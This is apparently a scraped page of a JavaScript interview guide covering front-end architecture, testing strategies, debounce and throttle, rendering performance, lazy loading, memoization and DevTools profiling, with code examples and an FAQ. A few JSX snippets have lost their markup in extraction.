An analytics SDK used the Observer pattern for event tracking: analytics.on("pageView", handler). This allowed 5 different teams to independently subscribe to events without coupling. The Strategy pattern let customers swap analytics providers (Google Analytics, Mixpanel, custom) with a single config change.
Candidates over-apply patterns from classical OOP that JavaScript doesn't need:
class AbstractNotificationFactory {
createNotification() { throw new Error("Override me"); }
}
class SuccessNotificationFactory extends AbstractNotificationFactory {
createNotification(msg) { return new SuccessNotification(msg); }
}
// 50 lines of boilerplate for what should be a function// A simple factory function replaces the entire class hierarchy
const notify = (type, msg) => ({ type, msg, id: crypto.randomUUID() });
notify("success", "Saved!"); // doneWhat is the difference between the Observer and PubSub patterns?
Large-scale JS architecture focuses on maintainability, scalability, and team productivity. Key principles: clear module boundaries, separation of concerns, dependency management, and established conventions.
Modern approaches: Feature-based folder structure (code organized by feature, not file type), monorepo (shared code across apps with tools like Nx/Turborepo), micro-frontends (independent teams own independent UI modules), and clean architecture layers (UI → Application → Domain → Infrastructure).
Critical decisions: state management strategy, API layer abstraction, error handling boundaries, testing strategy, build/bundle optimization, and CI/CD pipeline design.
// ── Feature-based folder structure ──
// src/
// features/
// auth/
// components/ LoginForm.jsx, SignupForm.jsx
// hooks/ useAuth.js, useSession.js
// services/ authApi.js, tokenStorage.js
// store/ authSlice.js
// utils/ validation.js
// __tests__/ auth.test.js
// index.js ← public API (barrel file)
// dashboard/
// components/ DashboardGrid.jsx, MetricCard.jsx
// hooks/ useDashboard.js
// services/ dashboardApi.js
// index.js
// shared/
// components/ Button.jsx, Modal.jsx
// hooks/ useFetch.js, useDebounce.js
// utils/ formatters.js, validators.js
// api/ httpClient.js ← centralized fetch wrapper
// app/
// App.jsx ← root component
// router.jsx ← route definitions
// store.js ← root store configuration
// ── API layer abstraction ──
// shared/api/httpClient.js
class HttpClient {
constructor(baseURL) {
this.baseURL = baseURL;
}
async request(endpoint, options = {}) {
const url = `${this.baseURL}${endpoint}`;
const config = {
headers: {
"Content-Type": "application/json",
...this.getAuthHeaders(),
...options.headers,
},
...options,
};
if (config.body && typeof config.body === "object") {
config.body = JSON.stringify(config.body);
}
const response = await fetch(url, config);
if (!response.ok) await this.handleError(response);
return response.json();
}
get(endpoint) { return this.request(endpoint); }
post(endpoint, body) { return this.request(endpoint, { method: "POST", body }); }
put(endpoint, body) { return this.request(endpoint, { method: "PUT", body }); }
delete(endpoint) { return this.request(endpoint, { method: "DELETE" }); }
getAuthHeaders() { /* token from storage */ }
async handleError(res) { /* centralized error handling */ }
}
export const api = new HttpClient("https://api.example.com");
// features/auth/services/authApi.js
import { api } from "../../shared/api/httpClient";
export const authApi = {
login: (creds) => api.post("/auth/login", creds),
logout: () => api.post("/auth/logout"),
getProfile: () => api.get("/auth/profile"),
};
// ── Error boundary strategy ──
// Global error boundary → Feature error boundaries → Component try/catch
// Each level handles what it can, escalates what it can't
// ── Dependency rule ──
// features/ → can import from shared/
// features/ → CANNOT import from other features/
// shared/ → CANNOT import from features/
// This prevents circular dependencies and keeps features independent
A 200-person engineering org migrated their monolithic React app (800K LOC) to a feature-based architecture with Nx monorepo. Build times dropped from 25 minutes to 3 minutes (affected projects only). Teams could deploy features independently, reducing release conflicts by 90%.
Candidates organize by file type (all components in one folder, all utils in another), creating navigational nightmares:
// src/
// components/ LoginForm, SignupForm, Dashboard, MetricCard, ... (200 files!)
// hooks/ useAuth, useDashboard, ... (50 files!)
// utils/ authValidation, dashboardFormat, ... (80 files!)
// Finding all auth-related code requires searching 3+ folders// src/features/auth/ ← everything auth-related is here
// components/, hooks/, services/, utils/, tests/
// Delete the feature? Delete one folder. Review PR? Check one folder.What are micro-frontends and when are they appropriate?
The testing pyramid has three levels: Unit tests (fast, many, test individual functions), Integration tests (medium speed, test components working together), and End-to-End (E2E) tests (slow, few, test full user workflows).
Unit tests isolate a single function/component with mocked dependencies. Tools: Jest, Vitest. Integration tests test multiple units working together (e.g., a React component with its hooks and API calls). Tools: React Testing Library, Supertest. E2E tests drive a real browser through user flows. Tools: Playwright, Cypress.
The Testing Trophy (Kent C. Dodds) suggests integration tests give the best ROI — they test real user behaviour without the brittleness of E2E or the false confidence of unit tests that mock everything.
// ── Unit Test (Jest/Vitest) ──
// utils/formatCurrency.js
export function formatCurrency(amount, currency = "USD") {
return new Intl.NumberFormat("en-US", {
style: "currency",
currency,
}).format(amount);
}
// utils/formatCurrency.test.js
import { describe, it, expect } from "vitest";
import { formatCurrency } from "./formatCurrency";
describe("formatCurrency", () => {
it("formats USD by default", () => {
expect(formatCurrency(1234.56)).toBe("$1,234.56");
});
it("handles zero", () => {
expect(formatCurrency(0)).toBe("$0.00");
});
it("formats EUR", () => {
expect(formatCurrency(1000, "EUR")).toContain("1,000.00");
});
it("handles negative amounts", () => {
expect(formatCurrency(-50)).toBe("-$50.00");
});
});
// ── Integration Test (React Testing Library) ──
// components/LoginForm.test.jsx
import { render, screen, waitFor } from "@testing-library/react";
import userEvent from "@testing-library/user-event";
import { LoginForm } from "./LoginForm";
import { api } from "../shared/api/httpClient";
// Mock the API module
vi.mock("../shared/api/httpClient");
describe("LoginForm", () => {
it("submits credentials and shows welcome message", async () => {
api.post.mockResolvedValue({ user: { name: "Alice" } });
render(<LoginForm />);
await userEvent.type(screen.getByLabelText("Email"), "alice@example.com");
await userEvent.type(screen.getByLabelText("Password"), "password123");
await userEvent.click(screen.getByRole("button", { name: "Log In" }));
await waitFor(() => {
expect(screen.getByText("Welcome, Alice!")).toBeInTheDocument();
});
expect(api.post).toHaveBeenCalledWith("/auth/login", {
email: "alice@example.com",
password: "password123",
});
});
it("shows error on invalid credentials", async () => {
api.post.mockRejectedValue(new Error("Invalid credentials"));
render(<LoginForm />);
await userEvent.type(screen.getByLabelText("Email"), "wrong@example.com");
await userEvent.type(screen.getByLabelText("Password"), "wrong");
await userEvent.click(screen.getByRole("button", { name: "Log In" }));
await waitFor(() => {
expect(screen.getByText(/invalid credentials/i)).toBeInTheDocument();
});
});
});
// ── E2E Test (Playwright) ──
// tests/checkout.spec.js
import { test, expect } from "@playwright/test";
test("complete checkout flow", async ({ page }) => {
await page.goto("/products");
// Add item to cart
await page.click("[data-testid='product-1'] .add-to-cart");
await expect(page.locator(".cart-count")).toHaveText("1");
// Go to checkout
await page.click(".checkout-btn");
await expect(page).toHaveURL("/checkout");
// Fill shipping info
await page.fill("#address", "123 Main St");
await page.fill("#city", "New York");
await page.selectOption("#state", "NY");
// Complete purchase
await page.click("#place-order");
await expect(page.locator(".confirmation")).toContainText("Order confirmed");
});
A fintech company had 95% unit test coverage but still shipped bugs — the unit tests mocked so heavily they didn't test real behaviour. Shifting to 60% integration tests (React Testing Library) caught 3x more bugs while reducing test code by 40%. E2E tests (Playwright) covered the 5 critical user flows (signup, deposit, transfer, withdraw, close account).
Candidates test implementation details instead of user behaviour:
// Tests internal state, breaks on refactor
test("sets loading to true", () => {
const { result } = renderHook(() => useAuth());
act(() => result.current.login(creds));
expect(result.current.state.isLoading).toBe(true);
// This breaks if you rename the state variable!
});// Tests what the user sees, survives refactors
test("shows loading spinner during login", async () => {
render( );
await userEvent.click(screen.getByRole("button", { name: "Log In" }));
expect(screen.getByRole("progressbar")).toBeInTheDocument();
// Doesn't care HOW loading is implemented internally
});What is test-driven development (TDD) and when is it practical?
Debounce delays execution until a specified time has passed since the last call. If the function is called again during the delay, the timer resets. Use case: search input — only fire API call after the user stops typing.
Throttle ensures a function executes at most once every N milliseconds, regardless of how many times it's called. Use case: scroll handler — execute at most every 100ms, not on every single scroll pixel.
Both are essential for performance — without them, event handlers can fire hundreds of times per second, causing excessive API calls, DOM updates, and CPU usage.
// ── Debounce implementation ──
function debounce(fn, delay) {
let timeoutId;
return function(...args) {
clearTimeout(timeoutId); // reset timer on every call
timeoutId = setTimeout(() => {
fn.apply(this, args); // execute after delay with no new calls
}, delay);
};
}
// Usage: search input
const searchInput = document.getElementById("search");
const searchAPI = debounce(async (query) => {
if (query.length < 2) return;
const results = await fetch(`/api/search?q=${encodeURIComponent(query)}`).then(r => r.json());
renderResults(results);
}, 300); // only fires 300ms after user STOPS typing
searchInput.addEventListener("input", (e) => searchAPI(e.target.value));
// Typing "react hooks" → 11 keystrokes, but only 1 API call (after 300ms pause)
// ── Throttle implementation ──
function throttle(fn, limit) {
let inThrottle = false;
return function(...args) {
if (!inThrottle) {
fn.apply(this, args);
inThrottle = true;
setTimeout(() => { inThrottle = false; }, limit);
}
};
}
// Usage: scroll handler
const handleScroll = throttle(() => {
const scrollPercentage = (window.scrollY / (document.body.scrollHeight - window.innerHeight)) * 100;
updateProgressBar(scrollPercentage);
// Infinite scroll: load more when near bottom
if (scrollPercentage > 80) {
loadMoreContent();
}
}, 100); // fires at most every 100ms
window.addEventListener("scroll", handleScroll);
// ── Advanced debounce with leading/trailing options ──
function advancedDebounce(fn, delay, { leading = false, trailing = true } = {}) {
let timeoutId;
let lastArgs;
return function(...args) {
const isFirst = !timeoutId && leading;
lastArgs = args;
clearTimeout(timeoutId);
if (isFirst) {
fn.apply(this, args); // fire immediately on first call
}
timeoutId = setTimeout(() => {
if (trailing && lastArgs) {
fn.apply(this, lastArgs); // fire on trailing edge
}
timeoutId = null;
lastArgs = null;
}, delay);
};
}
// Leading: fire immediately, then ignore for delay
const saveBtn = advancedDebounce(saveDocument, 2000, { leading: true, trailing: false });
// First click saves immediately, additional clicks within 2s are ignored
// ── Comparison ──
// | Pattern | Fires | Use Case |
// |----------|--------------------|-----------------------------------|
// | Debounce | After pause ends | Search input, resize, form save |
// | Throttle | At fixed intervals | Scroll, mousemove, game loop |
// | Neither | Every call | Click handlers, form submit |
A real-estate site fired API calls on every keystroke in the address search box — 15+ characters per search, causing 15 API calls per search and $3K/month in API costs. Adding a 300ms debounce reduced calls by 92% (from 15 per search to ~1), cutting API costs to $240/month.
Candidates create a new debounced function on every render (React), defeating the purpose:
function SearchBox() {
const handleSearch = debounce((q) => fetchResults(q), 300);
// Created fresh every render — timer resets every re-render!
return handleSearch(e.target.value)} />;
}function SearchBox() {
const handleSearch = useMemo(
() => debounce((q) => fetchResults(q), 300),
[] // stable — same instance across renders
);
return handleSearch(e.target.value)} />;
}How do you implement a debounce that can be cancelled? What about requestAnimationFrame-based throttle?
Browser rendering pipeline: JavaScript → Style → Layout (Reflow) → Paint (Repaint) → Composite. Each step is progressively cheaper.
Reflow (layout): recalculates position and size of elements. Triggered by: changing width/height, adding/removing elements, reading layout properties (offsetHeight, getBoundingClientRect). Most expensive.
Repaint: redraws visual properties (color, shadow, visibility) without changing layout. Cheaper than reflow.
Composite: GPU moves existing layers. Triggered by: transform, opacity. Cheapest — doesn't touch the main thread. For smooth 60fps animations, aim for composite-only changes.
// ── BAD: Forced synchronous layout (layout thrashing) ──
const items = document.querySelectorAll(".item");
items.forEach(item => {
const width = item.offsetWidth; // READ — forces layout calculation
item.style.width = width * 2 + "px"; // WRITE — invalidates layout
// Next iteration: READ forces recalculation again!
// This is "layout thrashing" — N reflows for N items
});
// ── GOOD: Batch reads, then batch writes ──
const widths = Array.from(items).map(item => item.offsetWidth); // all READs
items.forEach((item, i) => {
item.style.width = widths[i] * 2 + "px"; // all WRITEs
});
// Only 1 reflow!
// ── Use transform/opacity for animations (composite only) ──
// BAD: animating top/left (triggers reflow every frame)
element.style.top = newY + "px"; // reflow!
element.style.left = newX + "px"; // reflow!
// GOOD: use transform (composite only — GPU accelerated)
element.style.transform = `translate(${newX}px, ${newY}px)`; // no reflow!
element.style.opacity = 0.5; // no reflow, no repaint — composite only
// ── Promote to GPU layer with will-change ──
.animated-element {
will-change: transform, opacity; /* hint to browser: create GPU layer */
}
/* Remove will-change when animation ends to free GPU memory */
// ── requestAnimationFrame for visual updates ──
function smoothScroll(targetY) {
const startY = window.scrollY;
const distance = targetY - startY;
let startTime = null;
function step(timestamp) {
if (!startTime) startTime = timestamp;
const progress = Math.min((timestamp - startTime) / 500, 1); // 500ms duration
const eased = progress * (2 - progress); // ease-out
window.scrollTo(0, startY + distance * eased);
if (progress < 1) {
requestAnimationFrame(step); // sync with browser refresh rate
}
}
requestAnimationFrame(step);
}
// ── Virtual scrolling for large lists ──
// Instead of rendering 10,000 DOM nodes:
function virtualList(items, containerHeight, itemHeight) {
const visibleCount = Math.ceil(containerHeight / itemHeight) + 2; // buffer
let scrollTop = 0;
function render() {
const startIndex = Math.floor(scrollTop / itemHeight);
const visibleItems = items.slice(startIndex, startIndex + visibleCount);
container.style.height = items.length * itemHeight + "px";
container.innerHTML = visibleItems
.map((item, i) => `<div style="position:absolute;top:${(startIndex + i) * itemHeight}px">${item.name}</div>`)
.join("");
}
container.addEventListener("scroll", () => {
scrollTop = container.scrollTop;
requestAnimationFrame(render);
});
}
// ── DocumentFragment for batch DOM insertion ──
const fragment = document.createDocumentFragment();
for (let i = 0; i < 1000; i++) {
const div = document.createElement("div");
div.textContent = `Item ${i}`;
fragment.appendChild(div); // no reflow
}
container.appendChild(fragment); // single reflow
An analytics dashboard rendering 5,000 chart data points had 200ms frame times (5 FPS). Layout thrashing was the cause — each point read getBoundingClientRect() then set position. Batching reads and writes, switching from top/left to transform, and using requestAnimationFrame restored 60fps.
Candidates animate width/height/top/left instead of transform:
.sidebar {
transition: left 0.3s; /* triggers reflow every frame */
left: -250px;
}
.sidebar.open {
left: 0;
}.sidebar {
transition: transform 0.3s; /* GPU composite — smooth */
transform: translateX(-100%);
}
.sidebar.open {
transform: translateX(0);
}What are Web Vitals (LCP, FID, CLS) and how do you measure them?
Lazy loading defers loading of resources until they're needed. Instead of loading everything upfront (hurting initial page load), resources are loaded on demand — when they enter the viewport, when a user navigates to a route, or when a feature is activated.
Three main types: Image lazy loading (native loading="lazy" or IntersectionObserver), Route-based code splitting (dynamic import() with React.lazy or framework routers), and Component-level lazy loading (load heavy components only when needed).
Benefits: faster initial page load (smaller JS bundle), reduced bandwidth, and better Core Web Vitals scores (especially LCP and FID).
// ── Native image lazy loading (simplest) ──
// <img src="photo.jpg" loading="lazy" alt="Photo" width="400" height="300">
// Browser handles everything — loads image when near viewport
// ── IntersectionObserver for custom lazy loading ──
function lazyLoadImages() {
const images = document.querySelectorAll("img[data-src]");
const observer = new IntersectionObserver((entries) => {
entries.forEach(entry => {
if (entry.isIntersecting) {
const img = entry.target;
img.src = img.dataset.src; // load real image
if (img.dataset.srcset) {
img.srcset = img.dataset.srcset;
}
img.classList.add("loaded");
observer.unobserve(img); // stop watching
}
});
}, {
rootMargin: "200px", // start loading 200px before visible
});
images.forEach(img => observer.observe(img));
}
// HTML: <img data-src="photo.jpg" alt="Photo" width="400" height="300">
// ── Route-based code splitting (React) ──
import { lazy, Suspense } from "react";
import { BrowserRouter, Routes, Route } from "react-router-dom";
// Each page loaded only when navigated to
const Dashboard = lazy(() => import("./pages/Dashboard"));
const Settings = lazy(() => import("./pages/Settings"));
const Analytics = lazy(() => import("./pages/Analytics"));
function App() {
return (
<BrowserRouter>
<Suspense fallback={<LoadingSpinner />}>
<Routes>
<Route path="/dashboard" element={<Dashboard />} />
<Route path="/settings" element={<Settings />} />
<Route path="/analytics" element={<Analytics />} />
</Routes>
</Suspense>
</BrowserRouter>
);
}
// ── Dynamic import for heavy libraries ──
async function generatePDF(data) {
// pdf-lib is 500KB — only load when user clicks "Export PDF"
const { PDFDocument } = await import("pdf-lib");
const doc = await PDFDocument.create();
// ... generate PDF
}
// ── Intersection Observer for infinite scroll ──
function infiniteScroll(loadMore) {
const sentinel = document.getElementById("scroll-sentinel");
const observer = new IntersectionObserver(async (entries) => {
if (entries[0].isIntersecting) {
const newItems = await loadMore();
if (newItems.length === 0) {
observer.disconnect(); // no more data
}
}
});
observer.observe(sentinel);
}
// ── Preloading for anticipated navigation ──
// Preload on hover (user likely to click)
document.querySelectorAll("a[data-preload]").forEach(link => {
link.addEventListener("mouseenter", () => {
const href = link.getAttribute("href");
// Preload the chunk
import(`./pages/${href}`);
}, { once: true });
});
// Link preload hint
// <link rel="preload" href="critical.js" as="script">
// <link rel="prefetch" href="next-page.js"> ← low priority, for future navigation
A media-heavy product page loaded 80 images upfront (12MB total), causing 8-second load times on mobile. Adding native loading="lazy" to below-the-fold images and route-based code splitting reduced initial load to 1.2 seconds and data transfer by 85%. LCP improved from 6.2s to 1.8s.
Candidates lazy-load above-the-fold content, hurting LCP:
<!-- Hero image is above the fold — lazy loading delays LCP! -->
<img src="hero.jpg" loading="lazy" alt="Hero">
<!-- Browser waits until scroll to load it, but user sees it immediately --><!-- Above fold: eager load (default) + preload for priority -->
<link rel="preload" as="image" href="hero.jpg">
<img src="hero.jpg" loading="eager" alt="Hero" fetchpriority="high">
<!-- Below fold: lazy load -->
<img src="product.jpg" loading="lazy" alt="Product">What is the difference between preload, prefetch, and preconnect? When do you use each?
Memoization is a technique that caches the results of expensive function calls and returns the cached result when the same inputs occur again. It's a time-space tradeoff — use more memory to avoid repeated computation.
Memoization works best for pure functions (same inputs always produce same outputs, no side effects). It's pointless for functions with different results each call (e.g., Math.random, Date.now) or functions with side effects (API calls, DOM updates).
In React, memoization is critical: React.memo() (skip re-render if props unchanged), useMemo() (cache computed values), useCallback() (cache function references). Misusing these adds overhead without benefit — profile before memoizing.
// ── Basic memoization ──
function memoize(fn) {
const cache = new Map();
return function(...args) {
const key = JSON.stringify(args);
if (cache.has(key)) {
console.log(`Cache hit for ${key}`);
return cache.get(key);
}
const result = fn.apply(this, args);
cache.set(key, result);
return result;
};
}
// Expensive computation
const fibonacci = memoize(function fib(n) {
if (n < 2) return n;
return fibonacci(n - 1) + fibonacci(n - 2);
});
console.log(fibonacci(40)); // Instant with memoization
// Without: 2^40 recursive calls (~1.1 trillion operations)
// With: 40 unique calls + cache hits
// ── Memoize with max cache size (LRU) ──
function memoizeLRU(fn, maxSize = 100) {
const cache = new Map();
return function(...args) {
const key = JSON.stringify(args);
if (cache.has(key)) {
const value = cache.get(key);
cache.delete(key);
cache.set(key, value); // move to end (most recent)
return value;
}
const result = fn.apply(this, args);
cache.set(key, result);
if (cache.size > maxSize) {
cache.delete(cache.keys().next().value); // delete oldest
}
return result;
};
}
// ── React memoization ──
// React.memo: skip re-render if props unchanged
const ExpensiveList = React.memo(function ExpensiveList({ items, onSelect }) {
return items.map(item => (
<li key={item.id} onClick={() => onSelect(item.id)}>
{expensiveFormat(item)}
</li>
));
});
// useMemo: cache computed value
function Dashboard({ transactions }) {
// Only recalculate when transactions change
const summary = useMemo(() => {
return transactions.reduce((acc, t) => {
acc.total += t.amount;
acc.count++;
acc.categories[t.category] = (acc.categories[t.category] || 0) + t.amount;
return acc;
}, { total: 0, count: 0, categories: {} });
}, [transactions]);
return <SummaryCard data={summary} />;
}
// useCallback: cache function reference
function ParentComponent({ userId }) {
// Without useCallback: new function every render → child re-renders
const handleDelete = useCallback((itemId) => {
deleteItem(userId, itemId);
}, [userId]); // only recreate if userId changes
return <ItemList onDelete={handleDelete} />;
}
// ── When NOT to memoize ──
// 1. Cheap operations (simple math, string ops)
// 2. Functions called with unique args every time
// 3. Functions with side effects
// 4. React: primitive props (string, number) — comparison is cheap already
A data analytics dashboard recalculated 50K-row aggregations on every filter change, taking 800ms per update. Memoizing the aggregation function (keyed by filter hash) reduced subsequent filter changes to 2ms — only the first unique filter combination triggered real computation.
Candidates wrap everything in useMemo/useCallback without measuring, adding overhead without benefit:
function Profile({ user }) {
// useMemo overhead > string concatenation cost!
const fullName = useMemo(() => `${user.first} ${user.last}`, [user.first, user.last]);
// useCallback for function that doesn't go to memoized child
const log = useCallback(() => console.log("clicked"), []);
return {fullName};
}function Profile({ user }) {
const fullName = `${user.first} ${user.last}`; // cheap — no memo needed
return console.log("clicked")}>{fullName};
}
// Use React DevTools Profiler to identify ACTUAL slow renders before memoizingWhat is the difference between useMemo and useCallback? When would you use each?
Chrome DevTools provides several panels for performance analysis: Performance (CPU profiling, flame charts, frame timing), Memory (heap snapshots, allocation timelines), Lighthouse (automated audits with scores), Network (request waterfalls, bundle sizes), and Coverage (unused JS/CSS detection).
The Performance panel is the most powerful: record a session, then analyse the flame chart (shows function call hierarchy and timing), main thread activity, layout/paint events, and long tasks (>50ms blocks). Look for: long tasks, excessive reflows, large bundles, and slow API calls.
Workflow: Lighthouse for overall score → Performance panel to identify bottlenecks → Coverage to find unused code → Network for request optimization → Memory for leak detection.
// ── Performance API (programmatic profiling) ──
// Mark specific operations
performance.mark("fetch-start");
const data = await fetch("/api/heavy-endpoint").then(r => r.json());
performance.mark("fetch-end");
performance.measure("API fetch", "fetch-start", "fetch-end");
performance.mark("render-start");
renderDashboard(data);
performance.mark("render-end");
performance.measure("Dashboard render", "render-start", "render-end");
// Read measurements
const measures = performance.getEntriesByType("measure");
measures.forEach(m => {
console.log(`${m.name}: ${m.duration.toFixed(2)}ms`);
});
// "API fetch: 342.50ms"
// "Dashboard render: 128.30ms"
// ── PerformanceObserver (auto-detect slow operations) ──
const observer = new PerformanceObserver((list) => {
for (const entry of list.getEntries()) {
if (entry.duration > 100) {
console.warn(`Slow operation: ${entry.name} (${entry.duration.toFixed(0)}ms)`);
// Send to analytics
sendToMonitoring({
metric: "slow_operation",
name: entry.name,
duration: entry.duration,
});
}
}
});
observer.observe({ entryTypes: ["measure", "longtask"] });
// ── Long Task detection ──
const longTaskObserver = new PerformanceObserver((list) => {
for (const entry of list.getEntries()) {
console.warn(`Long task detected: ${entry.duration.toFixed(0)}ms`);
// Long tasks (>50ms) block the main thread
// They cause jank, missed frames, and poor FID
}
});
longTaskObserver.observe({ entryTypes: ["longtask"] });
// ── Web Vitals measurement ──
// LCP (Largest Contentful Paint) — < 2.5s good
new PerformanceObserver((list) => {
const entries = list.getEntries();
const lcp = entries[entries.length - 1];
console.log(`LCP: ${lcp.startTime.toFixed(0)}ms`);
}).observe({ type: "largest-contentful-paint", buffered: true });
// FID (First Input Delay) — < 100ms good
new PerformanceObserver((list) => {
list.getEntries().forEach(entry => {
console.log(`FID: ${entry.processingStart - entry.startTime}ms`);
});
}).observe({ type: "first-input", buffered: true });
// CLS (Cumulative Layout Shift) — < 0.1 good
let clsScore = 0;
new PerformanceObserver((list) => {
list.getEntries().forEach(entry => {
if (!entry.hadRecentInput) { // ignore user-triggered shifts
clsScore += entry.value;
}
});
console.log(`CLS: ${clsScore.toFixed(4)}`);
}).observe({ type: "layout-shift", buffered: true });
// ── DevTools workflow ──
// 1. Lighthouse tab → run audit → get overall scores and specific recommendations
// 2. Performance tab → record → identify long tasks in flame chart
// - Yellow = JS execution, Purple = layout, Green = paint
// - Red bar = long task (>50ms) — click to see call stack
// 3. Coverage tab (Cmd+Shift+P → "Show Coverage") → find unused JS/CSS
// - Red = unused code, Blue = used code
// - Target: remove or lazy-load unused code
// 4. Network tab → sort by size → identify large bundles
// - Use source maps to see module sizes
// 5. Memory tab → heap snapshots → compare to find leaks
// - Take snapshot 1 → perform action → take snapshot 2 → compare
A social media feed had 4-second Time to Interactive. Chrome DevTools Performance tab revealed: 1.2s parsing a 800KB JS bundle (→ code splitting reduced to 200KB), 600ms layout thrashing in the feed renderer (→ batch reads/writes), and 800ms from synchronous third-party analytics (→ async loading). Total TTI dropped to 1.1 seconds.
Candidates optimize without profiling — guessing instead of measuring:
// "I'll memoize everything and use Web Workers"
// Spends 2 days optimizing code that takes 5ms
// Meanwhile, a 2MB image on the homepage goes unnoticed
// and a render-blocking CSS file delays FCP by 3 seconds// 1. Run Lighthouse → "Reduce unused JavaScript: 400KB"
// 2. Performance panel → "Long task: parseAnalytics() 800ms"
// 3. Network tab → "hero-image.png: 2.1MB"
// Now you know: optimize image, code-split JS, async-load analytics
// 80% improvement with 3 targeted fixesWhat are the Core Web Vitals and how do you optimize each one (LCP, FID, CLS)?
Frequently Asked Questions
The most common JavaScript interview questions cover closures, hoisting, the event loop, Promises/async-await, prototypal inheritance, == vs ===, and the this keyword. Our guide covers all of these with real code examples and follow-up questions.
We cover 40 JavaScript interview questions across 5 difficulty levels: Basic (10), Intermediate (10), Advanced (8), Experienced (7), and Performance & Optimization (5). Each question includes 6 answer sections.
Questions are organized into 5 levels: Basic (0-1 year experience), Intermediate (1-3 years), Advanced (3-5 years), Experienced/Architect (5+ years), and Performance & Optimization (all levels). You can filter by level using the pills above the question list.
All code examples are real, working JavaScript code — not pseudocode or foo/bar placeholders. Each example uses realistic variable names, actual browser/Node.js APIs, and scenarios from production environments. You can copy and run them directly.
The event loop is the mechanism that allows JavaScript to perform non-blocking I/O despite being single-threaded. It manages the call stack, microtask queue (Promises), and macrotask queue (setTimeout). It is one of the most frequently asked advanced JavaScript interview questions.
Focus on debounce/throttle patterns, rendering optimization (reflow vs repaint), lazy loading, memoization, and Chrome DevTools profiling. Our performance section covers all of these with real-world benchmarks and implementations.
Senior JavaScript interviews focus on V8 engine internals, Web Workers, Service Workers, security (XSS/CSRF prevention), design patterns (Module, Observer, Factory), large-scale architecture, and testing strategies (unit, integration, E2E).
Yes — all questions and code examples use modern JavaScript (ES6/ES2015+). This includes arrow functions, template literals, destructuring, spread/rest, Promises, async/await, modules, classes, and optional chaining. Legacy patterns are only shown for comparison.